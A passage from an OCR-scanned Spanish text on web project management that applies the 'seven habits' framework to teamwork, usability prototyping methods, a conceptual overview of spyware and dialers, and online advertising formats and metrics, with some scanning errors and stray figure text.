nuevas versiones de web servers y herramientas de script contienen parches
gue ayudan a reducir los riesgos asociados con estas amenazas. En el lado de

ASP/IIS existe una herramienta provista por Microsoft llamada UrlScan.

UrlScan es una herramienta de seguridad que filtra las solicitudes
enviadas al servidor basandose en reglas que son creadas por el administrador.
Dicho filtrado ayuda a reducir los ataques comunes debidos a URL maliciosas,
permitiendo Unicamente las solicitudes validas. Vea el apéndice para ver el

URL de descarga de esta herramienta.
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Del lado de Apache/PHP existen diversos filtros que pueden ser usados
para validar el input de los usuarios, uno de ellos es phpfilter, que es un
conjunto de scripts creados por la OWASP para proteger aplicaciones web.

Para ver la direccion de descarga vease el apéndice 1.

4.2 Habito cinco, procure primero comprender su entorno

y luego ser entendido

El habito cinco es el habito de la consideracién, ya que permite subordinar
la busqueda de reconocimiento propia por la armonia de grupo. Cuando un
individuo descubre que su opinidbn es importante para los otros y que otra
persona le esta dando su lugar como tal, sus defensas precepttales descienden

y se logra una situacion de mutuo entendimiento y cooperacion.

4.2.1 Habito cinco en administracion: trabajo en equipo

Normalmente un proyecto web de pequefias dimensiones puede ser
elaborado y puesto en produccion con éxito por una sola persona; sin embargo
al aumentar el grado de complejidad y tareas asociadas al mismo, es necesario
crear equipos de trabajo que compartan responsabilidades y puedan llevar al
éxito el proyecto. Como ya se mencion0 en anteriores capitulos, la eleccion de
la metodologia de desarrollo es fundamental y en este texto se pone como
ejemplo las metodologias RUP y XP, las cuales son ademas de populares, muy
eficientes en la administracion del equipo de trabajo en cuanto a metas y
responsabilidades, sin embargo, existen ademas otras dificultades propias del
equipo de trabajo que es necesario considerar para que exista un nivel

adecuado de interdependencia, respeto y colaboracidn entre sus elementos..
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En este apartado se discutirdn los principales elementos a tomar en
cuenta en la formacién de equipos de alto rendimiento en un proyecto web,

basado en un estudio de Competency group *°

Objetivos del equipo

Todo equipo de trabajo debe tener objetivos claros, dichos objetivos
deben tener un fundamento comun y este es segun la metodologia de los siete
habitos, el enunciado de mision del proyecto o bien el enunciado de misién de
la organizacién. Este enunciado provee una brljula que orienta en todo
momento el rumbo a seguir y debe ser un factor comidn entre todos los
miembros del equipo, y a partir de él surgen metas mas claras y a ras de tierra

gue pueden ser implementadas y evaluadas.

4.2.2 ¢Es necesario un equipo de trabajo?

Un proyecto web normalmente estad compuesto por varias personas que
segun la metodologia utilizada realizan diversas funciones segun roles
definidos, sin embargo, se deben tomar algunas consideraciones con el fin de

determinar si es necesario un equipo de trabajo para realizar el proyecto.
Un equipo es necesario si:

e Existe una meta compartida y el trabajo es interdependiente (se

complementa entre si)
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Se necesitan varios puntos de vista sobre el proyecto o se desea tener
diversos criterios sobre la calidad del proyecto o bien la busqueda de una
solucion exitosa para el cliente que requiere multiples aportaciones de

ideas.

El proyecto tiene muchas partes que requieren implementacion de
procesos interdependientes y posiblemente paralelos (se pueden
implementar de manera separada por diversas personas pero deben

coordinarse en el disefio final).

Se necesita mayor coordinacion y comunicacion en el proyecto.

Cuando la complejidad requiera el aporte de varias personas para su

correcto juicio y evaluacion.

Un equipo probablemente no es necesario si:

El trabajo es independiente entre sus partes.

No existen metas compartidas

Las tareas no necesitan ser resueltas por un equipo sino mas bien

independientemente.

El trabajo individual es mas eficiente que el trabajo en equipo.

El tiempo no permite la creacion efectiva de equipos

Cada miembro del equipo tiene intereses distintos y excluyentes entre si.
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En el caso de que el equipo de trabajo no sea viable en un momento
dado, debido a las anteriores consideraciones, se debe evaluar si es correcto
continuar con el proyecto, tratar de crear un nuevo equipo con personas
distintas o bien intercambiar roles entre los elementos de un equipo ya

existente.

Elementos claves de un equipo de trabajo

¢ Enunciado de misidén y metas compartidas

e Metas claramente especificadas y medibles

e Conocer y estar de acuerdo con las reglas del equipo por ejemplo el
respeto a los comparieros de trabajo y normas de moral.

e Interdependenciay proactividad

e busqueda efectiva de mejora continua y excelencia.

¢ Roles y responsabilidades bien definidos y delimitados.

e Retroalimentacion y comunicacion efectiva.

4.2.3 Tipos de equipos en un proyecto web

Existen varios tipos de equipos que pueden tomar parte en un proyecto
web, cada uno, aunque comparte la responsabilidad del trabajo tiene elementos
caracteristicos que los diferencian, a continuaciébn se muestran los tipos de

equipo de trabajo mas comunes y sus propiedades fundamentales:
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Equipos de alto rendimiento

e Metas compartidas (enunciado de mision)

o El trabajo es interdependiente (promueve la sinergia)

e Sigue procesos y practicas

e Auto administrado (promueve el empowerment)

e Los resultados son medibles

« Comunicacion efectiva y reuniones de trabajo eficientes

o Los usuarios ejecutan varios roles y poseen diversas habilidades

e Los miembros del equipo laboran de manera continua (contratados)

o Mejoramiento continuo (renovacion)

Equipos temporales

e Se conoce la fecha de inicio y fin del proyecto, cuando termina éste, el
equipo se separa

e Los miembros poseen varias habilidades

e Las metas se establecen de acuerdo a negociacion

¢ Normalmente compuesto por empleados de tiempo parcial

e Generalmente inlcuye un lider de proyecto designado y conjunto de
practicas a observar.

¢ Recomendable para proyectos a corto plazo

143



Equipos de asesoria

Su objetivo principal es proveer soporte 0 asesoria en la obtencién de
metas o en el desarrollo del proyecto (resolucion de problemas, ayuda
creativa, mejoramiento del desempenio etc)

Contrato de tiempo parcial, generalmente pagados por hora de servicio.
Conjunto de practicas bien definidas

Compuesto por expertos en una area determinada (analistas, expertos

en usabilidad, expertos en seguridad etc.)

Equipos tipo staff

Equipo de soporte en caso de necesidad (vacaciones, interinatos etc)
Debe poseer habilidades administrativas asi como de comunicacién
Sus reuniones estan definidas segun calendarizacion previa

Los esfuerzos del equipo se basan en sus responsabilidades mas

importantes.

Necesitan que exista una planificacion previa con el fin de retomar el
trabajo ya efectuado por otros elementos del equipo que no puedan

participar.

Equipo independiente

El trabajo efectuado por sus elementos no comparte la misma misién ni
las metas son compartidas

Los elementos forman parte de la misma organizacion
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e Los elementos pueden estar contratados a tiempo completo o a tiempo
parcial.
e El trabajo es independiente entre si y generalmente no se necesita

unificar.

Como una actividad complementaria a la planificacion e independientemente
de la metodologia de desarrollo a utilizar, el lider designado debe decidir cual
tipo de equipo es el mas adecuado segun las necesidades del proyecto a
desarrollar y proceder a la formacion del mismo con los elementos disponibles

por la organizacion o bien procurar el reclutamiento de nuevos elementos.

Sesion inicial del equipo de trabajo

La sesion inicial del equipo de trabajo es fundamental porque
normalmente es el primer encuentro entre parte o total de los miembros y
permite crear un clima inicial de sinergia que permita el buen desempefio de
sus miembros.

Las actividades recomendadas para esta sesion son las siguientes:

e presentacién de cada uno de los miembros en donde cada uno habla de
manera simple de su persona y define su perfil de trabajo o especialidad

e El lider del proyecto provee una descripcién general del proyecto y sus
objetivos basicos

e El equipo disefia el enunciado de mision preliminar

e El equipo discute sobre metas preliminares y su evaluacion

e El equipo discute sobre las reglas de conducta de los miembros.

e Se deciden y aclaran los roles y responsabilidades.

e Se establece la frecuencia de las sesiones y su duracion, asi como la

calendarizacion de las mismas.
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Como administrador de proyecto, debe practicar la comunicacion
empatica, es decir, tratar a las partes involucradas de manera objetiva sin

prejuicios y sin tratar de imponer la voluntad propia.

El trato hacia los clientes en posicion gerencial debe ser respetuoso pero
firme, se debe de exponer claramente los objetivos del proyecto y defender las
decisiones tomadas.

Se debe tratar ante todo de entender las posiciones de los clientes en
cuanto a su inversion, si se trata de un sitio empresarial del cual se es parte
como organizacién, se debe exponer a los superiores los progresos del trabajo

realizado y su ajuste a los objetivos del proyecto.

Trate de entender primero a los usuarios si tienen demandas, recuerde
que cada demanda de un sitio web equivale a diez mil quejas que quedaron en

lo oculto, por lo que se debe tomar con seriedad.

Por ultimo, recuerde que el paradigma de abundancia indica que existen
suficientes recursos para todos y que depende de la mentalidad abierta o no,
€s0s recursos pueden alcanzarse. Una vez comprendidos, sus colaboradores

querran escucharle y comprenderle también.

4.2.4 Habito cinco en usabilidad: disefio

La etapa de disefio es el siguiente paso en el disefio centrado en el
usuario, es una fase muy importante ya que permite definir de una manera
efectiva y poco costosa, los elementos preliminares que daran forma a la

interfase final.
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Tras la etapa de analisis se debe verificar que se ha entendido
correctamente el entorno del negocio y las caracteristicas de los usuarios para

poder pasar a esta fase de manera exitosa.

Existen varios métodos muy utilizados para esta fase, los cuales se
describen a continuacion, es sumamente importante contar con la participacion

de los usuarios con el fin de mejorar de manera integral el proceso.

4.2.5 Ordenacion de tarjetas (card sorting)

Esta es una técnica que permite conocer la manera que las personas
ordenan determinados objetos y los agrupan en categorias, es Util para conocer
la tendencia de los usuarios a categorizar tareas lo cual sera de utilidad para el
disefio de la navegacion y creacion de menus con el fin de que los usuarios

encuentren facilmente los elementos de navegacion.

Esta técnica tiene importantes ventajas:

o Es barata y facil de realizar

o Permite entender a los usuarios reales y su manera de ordenar objetos.
« ldentifica elementos que son dificiles de agrupar

« Permite conocer terminologias que tiendan a confusion.

o Es especialmente util para disefiar estructuras de navegacion web
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Pasos pararealizarla

Se debe escribir en tarjetas los elementos a ser agrupados, uno en cada
tarjeta, las tarjetas deben ser de un tamafo adecuado para que el participante
pueda colocarlas en el escritorio o mesa de trabajo donde se realice el
experimento. Se debe pedir al (los) participante(s) que agrupen las tarjetas de
una manera que tenga sentido para ellos. Adicionalmente, puede solicitarse a

los participantes que otorguen un nombre a cada grupo formado.

Una vez terminado se deben ingresar a una hoja electrénica los datos y
realizar un examen buscando patrones utiles. En todo momento se deben
buscar la consistencia o parecido entre los diversos grupos creados por los

participantes y tratar de unificar las ideas aportadas por ellos.

Participantes

Los participantes deben ser los usuarios finales o bien aquellos
participantes que representen a los antes mencionados, siempre y cuando

representen de manera concisa las caracteristicas de los usuarios finales.

Es conveniente elegir un buen numero de participantes pero al menos se
debe elegir cinco o seis y pedirles que ordenen cincuenta elementos

aproximadamente, para lo cual debe darseles alrededor de treinta minutos.
Aunque en algunas ocasiones los expertos sugieren que el ordenamiento

se haga en equipos, es mejor que cada individuo aporte sus propias ideas con

el fin de determinar posibles variaciones.
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Caracteristicas de las tarjetas

« Cada elemento se identifica claramente y sin ambigiedades

e Se debe validar que todos los elementos a categorizar se encuentran en

las tarjetas
e Se deben desordenar las tarjetas antes de cada sesion.

o Dar las mismas instrucciones a todos los participantes, de manera clara 'y

simple.
« No interferir a los participantes cuando han iniciado la prueba.

« Proveer tarjetas en blanco adicionales en el caso de que un usuario

desee crear mas elementos.

4.2.6 Prototipado en papel (paper prototyping)

El prototipado en papel es una técnica que permite al equipo de desarrollo
asi como a los clientes y usuarios no técnicos, cooperar en el disefio de
interfases para sitios web. Este método permite que las intefases sean

rapidamente disefiadas y mejoradas.

El método consiste en que los miembros del equipo de disefio junto con
los usuarios finales o clientes crean una versidn en papel o acetatos de la
interfase a disefiar que incluya elementos de navegacion como menus, botones,
gréficos etc.

Una vez hecho el prototipo, un usuario navega en la interfase simulando
los cambios que se realizarian si ésta estuviese ya funcionando en el

computador.
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El mouse puede ser simulado con un lapiz o boligrafo y los comandos
por medio de colocar o quitar elementos del papel o bien superponiendo
acetatos. Una vez realizada la prueba se debe registrar las impresiones y

comentarios del usuario, asi como de los demas involucrados en la prueba.

Algunas de las ventajas de este método son:

o Permite detectar problemas de usabilidad tempranamente, posiblemente

antes de que se haya escrito ninguna linea de cédigo.
« Se fomenta la comunicacion entre disefiadores y usuarios

e Los prototipos son baratos, faciles de crear y mejorar, se pueden

desechar y reconstruir de manera simple y econémica.

Para realizar la prueba se deben tomar en cuenta los siguientes aspectos:

Material humano

Puede realizarse con un minimo de 2 analistas o disefiadores, uno funge
como facilitador (guia) y el otro es la computadora, sin embargo es
recomendable que un usuario del sistema se encuentre en la reunion con el fin
de proporcionar ideas y experiencias para la construccion del disefio. El equipo
comienza a realizar esquemas utilizando plantillas ya creadas o bien generando
ideas en una sesioén de brainstorming. Luego se evalla cada enfoque para que

se ajuste a las metas de usabilidad descritas en el plan de usabilildad.

La persona que desempeiia el rol de computadora no debe hablar sino
Gnicamente realizar tareas segun sean las acciones del usuario. Es
aconsejable probar varias veces el mismo modelo con el fin de obtener mejores

resultados.
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Dos dias es suficiente para las sesiones del usuario final, el cual debe

probar la interfase con la ayuda de la computadora y el facilitador.

Materiales

Los materiales a utilizar incluyen objetos como papel, notas post-it,

acetatos, adhesivos, tijeras y marcadores de colores.

Ejecucién

e Escribir el nombre de cada pantalla sugerida en una tarjeta post-it
e Colocar cada elemento sobre un pizarron y tratar de agrupar objetos
similares.

e Revisar como podrian hacerse las tareas mas facilmente.

El facilitador debe proporcionar instrucciones al usuario y preguntar si esta
listo, luego el analista encargado de ser la computadora ejecuta todas las
acciones que el usuario realice sobre el prototipo, si hay otros observadores
estos deben tomar notas. Finalmente, se debe preguntar al usuario sus
impresiones y sugerencias. Otro usuario puede repetir la prueba o bien el

mismo usuario puede probar otras funciones del prototipo.
Conclusion

Una vez terminada la prueba se debe reunir la informacién obtenida e
identificar los problemas encontrados, realizar comentarios y sugerir

recomendaciones que mejoren el disefio. Finalmente, estas recomendaciones

se plasman en un reporte escrito.

151



Prototipo de Video

Esta técnica es idéntica a la mencionada anteriormente, con la diferencia
que no existe el rol de computadora en tiempo real, sino que la prueba se graba
por medio de una camara y posteriormente se evalla los resultados. La ventaja
es que una prueba realizada puede verse posteriormente por varias personas y
con ello puede generarse mayor numero de comentarios e ideas sobre la
misma. La desventaja es que lleva mas tiempo realizarla y requiere el uso de

una camara de video.

Su realizaciéon es idéntica a la efectuada en el prototipo en papel, con la
diferencia que en cada clic o cambio en el prototipo de papel o acetato, se
graba por unos breves instantes el cambio y se continla haciendo esto hasta
que la prueba se complete, por lo que el video final, muestra una secuencia
animada de las acciones ejecutadas por los usuarios y permite visualizar

errores de usabilidad.

Prototipo de alta fidelidad

También llamado prototipo basado en computadora, éste metodo permite
explorar la usabilidad de una interfase por medio de la creacién de un modelo
real del software con limitada funcionabilidad, es decir que el usuario ve las
pantallas finales en la computadora, tal y como se pretende mostrarselas en el

sistema terminado.

Este método es muy popular porque permite evaluar la interfase en un

ambiente realista.
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La popularidad de este método también radica en el surgimiento de
muchas herramientas de pruebas que permiten la creacién de plantillas con
suma facilidad. El objetivo de este tipo de prototipo es reducir tiempos en el

ciclo iterativo de desarrollo.

El prototipo mostrado carece de la funcionabilidad basica del sistema (a
nivel de procesos) o bien de parte de ella ya que su funcion es mostrar las
caracteristicas visuales y funcionales a nivel de interfase y detectar de manera
temprana cualquier deficiencia en usabilidad.

Aunque util, este enfoque posee algunas desventajas, por ejemplo:

e Requiere de mas tiempo que los prototipos en papel y video.

e Es mas caro que los prototipos arriba mencionados.

e Puede tender a conservar los prototipos desechados dado a que no se
pueden simplemente tirar ya que son una pieza de software ya

construido y por lo tanto, representa costos relativamente importantes.

Conclusioén

Una vez analizada, una interfase debe ser redisefiada o mejorada segun
las observaciones obtenidas de las pruebas, en todo momento, se debe
asignar una severidad a los problemas encontrados con el fin de no
desperdiciar recursos ni tiempo en problemas menores. Al refinar el prototipo se
debe repetir el ciclo de evaluacion hasta llegar a un prototipo funcional y

aprobado.
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4.2.7 Habito cinco en seguridad: Spyware

El spyware es un tipo de amenaza que existe en internet, consiste en
programas que se instalan sin la autorizacién del usuario y sin su conocimiento
y que en segundo plano ejecutan acciones maliciosas Yy bien planificadas hacia
sitios indeterminados. Generalmente, se instalan al visitar una pagina de
dudosa reputacion y el instalador es una alerta que pregunta si se desea
colocar la pagina como origen, aunque el usuario seleccione que no, la

aplicacion se instala y el spyware comienza su trabajo.

4.2.8 Tipo de spyware

Adware

también conocido como adbot, generalmente este tipo de software vigila
los habitos de navegacion del usuario en la maquina donde esta instalado y los
envia hacia sitios de terceros en el anonimato, puede ser instalado sin
autorizacibn o bien es parte de otro programa que ha sido instalado

correctamente.

Spyware

Es mas peligroso que el adware ya que puede registrar las entradas de
teclado, passwords, historial etc. Normalmente el spyware es ofrecido como un
programa de mejora del browser, software de vigilancia o herramienta de

espionaje.
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Malware

Malware significa software malicioso, est4 construido para atacar a un
sistema determinado ejecutando diversas funciones ilegales de manera normal,

puede reinstalarse automaticamente luego de ser borrado.

Ejemplos de malware incluyen:

Page hijackers

Son aplicaciones que tratan de usurpar el control de la pagina de inicio
que ve el usuario, generalmente se instalan con mensajes y alertas falsas y con
falsas promociones. La accibn mas comun realizada por este tipo de
aplicaciones es tomar el control de la pagina de inicio escribiendo informacion al
registro en el caso de maquinas con Windows, resultando dificil corregir dicha
intrusion.

Aparte de tomar el control de la pagina de inicio pueden instalar
aplicaciones espia que son disfrazadas como embellecedores o herramientas

de rendimiento del browser.
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Dialers

Un dialer es un tipo de software utilizado plenamente por los promotores
de pornografia, su funcion es desconectar al usuario de su sesion con el
proveedor de internet local (ISP) y conectarlo a una red privada de alto costo,
lo que genera cargos telefénicos altos para el usuario sin que este se dé cuenta
el momento en el cual se generd la desconexién. Generalmente antes de
ingresar al sitio de pago existe una pagina donde hay que pulsar un botén o
vinculo para entrar que contiene las condiciones de conexion y claramente
indica que se cobraran tarifas internacionales de conexién. El problema es que
las personas raramente leen dichas condiciones y simplemente se conectan sin
saber que deberan pagar altas cuotas telefénicas. Este tipo de fraude se puede
realizar normalmente solo si el usuario se conecta a Internet por medio de una

conexion telefénica.

Proteccion contra el spyware
Exiten en el mercado diversos productos que protegen y elminan el

spyware, en el apéndice 1 se muestra una lista con algunas de las mas

conocidas aplicaciones para protegerse de esta amenaza.
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5. HABITOS SEXTO Y SEPTIMO

5.1 Habito seis: sinergice

La sinergia es uno de los aspectos fundamentales en cualquier
organizacion o grupo de trabajo, inclusive dentro de un grupo familiar, alli es
una herramienta indispensable para la cooperacibn mutua y la obtencion de
beneficios compartidos. Tal y como se menciondé en el marco teodrico, la
sinergia afirma que uno mas uno es tres 0 mas, es decir, que la suma de
fuerzas individuales puestas a disposicion del trabajo en equipo, rinden un fruto

mas abundante que las mismas dispuestas de manera individual o separadas.

5.1.1 Habito seis en administracion: publicidad

Un sitio web debe ser sinérgico y permitir una adecuada interaccion entre
los usuarios que lo visiten y el contenido del mismo. Cuando un sitio web es
nuevo o se desea que mas usuarios lo utilicen entonces se debe disefiar una
adecuada estrategia de mercadeo y publicidad, para atraer la atencién de los
usuarios y obtener un mayor nidmero de visitas. A continuacion se presentan
algunas técnicas utilizadas en la publicidad y la correcta utilizacion de las

mismas para evitar campafas no éticas o irrespetuosas hacia el usuario.
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Se debe tomar muy en cuenta que Internet al igual que cualquier otro
medio de comunicacion, se encuentra plagado de charlatanes, cuya Unica
funcion es ganar dinero a costas de los usuarios sin importarles las normas de
ética, la autenticidad de los productos ofertados ni mucho menos los métodos
por utilizar siempre y cuando les reporten ganancias. Es muy importante
conocer las tacticas utilizadas por estas empresas para evitar crear campafas

similares ya que esto conduciria al deterioro de la imagen del sitio web.

Publicidad fuera de linea

Aunque el método principal para atraer usuarios al sitio web es por medio de
la publicidad en linea, existen otras maneras para atraer al usuario hacia el sitio
propio, por medio de publicidad fuera de linea a través de los siguientes

métodos:

e Colocar el URL en cualquier elemento impreso que maneje para Su
negocio o empresa; desde tarjetas de presentacion, hojas membretadas,
sobres, afiches, circulares y memorandos hasta en publicidad en
uniformes de empleados, decoracion de vehiculos etc. Para que los
posibles usuarios se familiaricen con el URL y lo recuerden

posteriormente.
e Promocionar el URL en cualquier material publicitario, objetos
promocionales, tazas, playeras y cualquier objeto relacionado con la

empresa que sea destinado a la promocion y mercadeo.

e Si la empresa u organizacidbn se encuentra en las paginas amarillas

asegurese de colocar también el URL junto con la publicidad.
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e Crear promociones fuera de linea e incluya el URL de la pagina como

fuente de instrucciones detalladas para los participantes.

5.1.2 Publicidad en linea

Como su nombre lo indica, es aquella que se recibe por los usuarios
mientras estan conectados a internet, puede ser una canal de penetracion muy
efectivo si el sitio posee suficiente trafico. A continuacion se describen los
principales métodos para la creacion de publicidad en linea, se inicia por los

términos mas comunmente utilizados.

Banner: elemento grafico, cuyo objetivo es llamar la atencion del

usuario.

e Impresion: es cuando el usuario ve el banner en una pagina
determinada, cada pagina que despliegue el banner representa una

impresion.

e Click-through: la accién que sucede cuando un usuario da clic sobre un

banner.

e Click-thru ratio (CTR): es el porcentaje que determina la eficiencia del
banner, se obtiene dividiendo el nidmero de clics recibidos entre la
totalidad de despliegues del banner (impresiones). Por ejemplo si un
sitio desplegd 1000 veces un banner y recibio 80 clics entonces el CTR
es 80/1000= 8%, es decir que se necesitan 13 impresiones para que un

usuario determinado haga clic en el banner desplegado.
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Trafico: cantidad de usuarios que visitan la pagina; generalmente se
mide por el nimero de visitas a un sitio ( nUmero de impresiones).
Cuando se quiere incrementar el trafico, se debe entender que se desea

incrementar el nUmero de impresiones al mismo.

Branding: estrategia que consiste en la promocion en linea de una
marca O un sitio web determinado, para popularizar el mismo e
impregnarlo en la mente del usuario o consumidor de manera

prolongada.

Programa de afiliacion: asociacion que se produce entre un sitio web
contratante y otro sitio llamado afiliado, en la cual, el afiliado se
compromete a mostrar publicidad para el sitio contratante y generar
trafico hacia el sitio del primero (contratante) y por lo cual recibe una
comision, segun varios criterios de pago. El objetivo es que el contratante
obtenga mas visitas de los usuarios y mejore sus posibilidades de ventas
(en el caso de sitios comerciales) o bien que el sitio web se promocione y

se impregne en la mente de los visitantes (branding).

CPM (cost per impression): es la cantidad monetaria que un sitio web
contratante debe pagar a un afiliado por cada mil impresiones de un
banner u otra forma similar de publicidad que aparezca en los sitios de

dicho afiliado y que promocione al contratante.

CPC (cost per clic): es la cantidad monetaria que un sitio web
contratante debe pagar a un afiliado por cada clic que reciba un banner
u otra forma similar de publicidad en los sitios del afiliado y que

promocione al mencionado contratante.
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e CPA (cost per action): es la cantidad monetaria que un sitio web
contratante de debe pagar a un afiliado cada vez que un usuario ejecute
una determinada accion, que es de interés para el contratante, existen

dos formas basicas de cpa, cost per lead y cost per sale.

e CPL (cost per lead): es la cantidad monetaria que un sitio web
contratante de debe pagar a un afiliado cada vez que un usuario ejecute
una determinada accién, como suscribirse a una lista de correo, proveer

informacion personal o contestar una encuesta.

e CPS (cost per sale): es la cantidad monetaria que un sitio web
contratante debe pagar a un afiliado cada vez que un usuario compra un
producto o servicio gracias a la publicidad del afiliado (generalmente,
dando clic a la publicidad del contratante en el sitio afiliado y luego

dirigiéndose al sitio del contratante y efectuando la compra).

e PPI (pay per inclusion): es el importe que un sitio web contratante debe
pagar a los motores de busqueda para que sea incluida en las
busquedas relacionadas con su producto o servicio y tenga una alta

cantidad de impresiones.

e Banner exchange: es una red de negocios que provee a varios Sitios
asociados de la capacidad de intercambiar banners u otros medios
publicitarios entre ellos y estos son sometidos a rotacion. La entidad de
intercambio cobra a los socios por este servicio. Este esquema es muy

comun en la web y permite crear alta sinergia entre los socios.

A continuacion se discutira sobre las formas mas utilizadas de publicidad en

sitios web:
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Banners

Los banners son el medio de publicidad més utilizado, consisten en
imagenes y elementos de texto enmarcados dentro de un cuadro con una
combinacion de colores determinada, que sea llamativo y provoque la
curiosidad del usuario y le motive a dar clic, el usuario es redireccionado hacia
la pagina relacionada con el vinculo.

Algunos ejemplos son los siguientes:

Figura 6. Banner tipico

Add an extra antivirus engine
to your mail server - FREE!

fuente: www.securityfocus.com

Es una regla general que el tamafio del banner influird en el numero de
clic que genere, cuanto mayor sea éste, mayor numero de hits recibira, sin
embargo, también aumenta el costo ya que su CTR serd mayor, lo cual es mas

caro.

Algunos disefiadores opinan que los usuarios reaccionan hacia los
banners simplemente ignorandolos, otros opinan que no deben colocarse en la
parte superior de la pagina; es necesario ante todo medir la efectividad tras un

periodo de tiempo.

Los banners pueden ser de diferentes formas y tamafios, y estar
localizados en diversas partes de las paginas. Por ejemplo, pueden estar
localizados en la parte superior, en la parte inferior, al centro o a los lados de la

pagina.
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Figura7. Banner en la parte superior
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fuente: www.desarrolloweb.com

Figura 8. Banner en la lateral
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Uno de los puntos fuertes de las paginas en PHP es |a posibilidad de
explotar bases de datos mediante funciones de una simplicidad y
potencia muy agradecidas. Estas bases de datos pueden servir a
nuestro sitio para almacenar contenidos de una forma sistematica que
nos permita clasificarlos, buscarlos y editarlos rapida y facimente

eres comprar
n dominio
atractivo?

Una base de datos es sencillamente un conjunto de tablas en las que
almacenamos distintos registros (articulos de una tienda wirtual,
proveedores o clientes de una empresa, peliculas en cartelera en el
cine...). Estos registros son catalogados en funcidn de distintos
parametros que los caracterizan y que presentan una utilidad a la hora
de clasificarlos, Asf, por ejemplo, los articulos de una tienda virtual
podrian catalogarse a partir de distintos campos como puede ser un
numero de referencia, nombre del articulo, descripcion, precio,
proveedar. ..
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fuente: www.desarrolloweb.com

Objetivos en el uso de banners

Segln Marshall *

el objetivo de los banners es que los usuarios den clic en
ellos. Sin embargo, el porqué de la utilizacion de los banners puede tener

varios motivos; los dos principales son:

e Promocién de marca (branding)

e Ventas directas
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La promocién de marca o branding consiste en afirmar en la mente de los
usuarios el nombre de la organizacidbn para que conocida y publicamente
adquiera valor. En el caso de empresas que tienen sitio web y presencia
tradicional en el mercado el objetivo es que los usuarios conozcan mas de la
empresa y confien en ella. En el caso de un sitio web nuevo o en proceso de
expansion, el objetivo es que atraer trafico al mismo, asi como la creacion de
imagen, para que los usuarios conozcan el sitio y lo tengan presente en el

mercado que éste representa.

Las ventas directas como su nombre lo indica, tienen por objetivo que el
usuario compre algun producto o servicio, también pueden ser utilizados para
que el usuario descargue alguna aplicacion, se suscriba a algun boletin o
ejecute alguna accion determinada que es de interés para el contratante del

banner.

Html vs flash

Actualmente, con el avance de la tecnologia, se tienen otras alternativas a
los banners y medios publicitarios en linea, en un principio, los banners se
realizaron exclusivamente con el uso de html y de imagenes animadas,
generalmente de formato .gif, sin embargo, el uso de peliculas flash ha ido
ganando terreno debido a su rapida descarga y sus posibilidades de interaccion
y calidad visual, convirtiéndose en un medio altamente efectivo por lo que hoy
son sumamente utilizados, este tipo de publicidad se discutira posteriormente

en este capitulo.
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Pop-ups

Los pop-ups surgieron como una opcion a los banners y enlaces de texto.
El concepto consiste en que cada vez que un usuario ejecute una accion
determinada (generalmente abrir una pagina o cerrarla) se abre una pequefia
ventana que contiene texto e imagenes con la publicidad a desplegar. Al
principio los usuarios se molestaron muchisimo con su aparicion, sin embargo
poco a poco fueron tolerando su presencia. La ventaja de los pop-ups es que
genera un mejor CTR; sin embargo, invaden la pantalla del usuario porque se
presentan sobre cualquier otra ventana abierta. Quizas el principal problema de
los pop-ups es que estorban la visibilidad de los usuarios, quienes
generalmente los cierran sin dejar que carguen por completo, y por esto se

pierde la efectividad deseada.

Pop-under

Ante el problema de la intrusién de los pop-ups se buscd otra opciéon que
fuera menos molesta para los usuarios. Una mejor solucién fue la de los
mMiSMOS pop-ups pero que no permanecieran sobre las demas pantallas sino
que al abrirse, se minimizaran evitando molestar a los usuarios y que éstos
cerraran las ventanas prematuramente. Esta técnica se denomind Pop-Under
porque la ventana se abre y luego pasa atras de las otras, donde tiene tiempo
de cargarse por completo. Se debe recordar nuevamente que los pop-under
pueden tener hasta seis veces mas CTR que los banners colocados en las
paginas, por lo que su utilizacién esta recomendada, siempre y cuando no
sature el escritorio del usuario y esté bien escrito (véase en este capitulo los
errores en el uso de publicidad en linea)

165



Ventanas flotantes

La tecnologia ha permitido que la publicidad en linea alcance formas més
efectivas de alcanzar a los usuarios. Las ventanas flotantes son una de esas
formas, este tipo de publicidad consiste en una ventana pequefia que aparece
subitamente en la pantalla y que posee animacién y generalmente sonido y que
presenta un mensaje al usuario y posteriormente desaparece después de cierto
tiempo en pantalla, las ventanas pueden aparecer en forma de pop-ups o bien

embebidas dentro de la pagina.

Figura 9. Ventana Flotante

To download a personal version of any of the
Sessions.edu ILU applications, you must be a
registered student at Sessions.edu.

click for information about how to

Fuente: www.sessions.edu

Las ventanas flotantes tienen un alto CTR. Lo cual es debido a que
definitivamente capturan la atencion del usuario, el problema es que al aparecer
sobre la ventana de uso del usuario pueden molestar la visibilidad y enojar a las
personas. Sin embargo, una ventana flotante bien disefiada muestra el
mensaje requerido y desaparece sin accion del usuario lo cual puede ser muy
efectivo, generalmente estan hechas en flash y aprovechan la capacidad de
ésta tecnologia para producir animaciones profesionales y audio de alta calidad.
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Peliculas unicast

Como su nombre lo sugiere, este tipo de publicidad es un video mostrado
en un formato muy portable y rapido de descargar. Definitivamente llama la
atencion al usuario y posee un elevado CTR, puede ser una version de rapida
descarga de un comercial conocido o bien una campafia publicitaria nueva en
video. EIl tamafio del video es fundamental ya que la rapidez de descarga es
importante para que el usuario no cierre la ventana sin recibir el mensaje

deseado.

Conforme el Internet de alta velocidad va ganando terreno entre los
usuarios, esta opcion de publicidad tendra un mayor potencial en el corto y
mediano plazo. Una de las ventajas mayores de esta tecnologia es que el
usuario no se da cuenta que la pelicula est4 sino hasta que se descarga por

completo y comienza a mostrarse.

Vinculos tradicionales

Junto a los banners, los vinculos siguen siendo una forma tradicional y
aun efectiva de mostrar publicidad en linea. EIl ser de rapido despliegue y de
bajo consumo de ancho de banda, hace a los vinculos un elemento a tomar en
cuenta en todo proceso de mercadeo y ventas. Asegurese en todo momento
gue los vinculos sean claros y que indiguen el contenido hacia el cual estan

apuntando.
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Motores de busqueda

Otra alternativa de publicidad es contratar a los motores de busqueda de
modo que cuando un usuario busque un tema relacionado con el producto o
servicio que posee la empresa contratante, el motor de busqueda muestre los
vinculos hacia el sitio web referido; esto es muy ventajoso cundo se desee
obtener impresiones cuando un usuario realice busquedas en Internet, el sitio
de busqueda cobra al usuario una cuota que puede ser por el numero de
impresiones, numero de clics en el vinculo o banners etc. EIl objetivo primario
es aparecer dentro de los cinco primeros vinculos de las busquedas, lo cual

puede generar un alto CTR.

Grupos de noticias

Una estrategia muy utilizada es contribuir con informacion util en los
grupos de noticias como groups.google.com, en ellos se puede comentar sobre
algun tépico especializado y ofrecer mas informacion si se dirige a una pagina
determinada, desde luego se debe firmar el mensaje y colocar links hacia el
sitio propio. Es de hacer notar que la informacién puesta en los foros debe ser
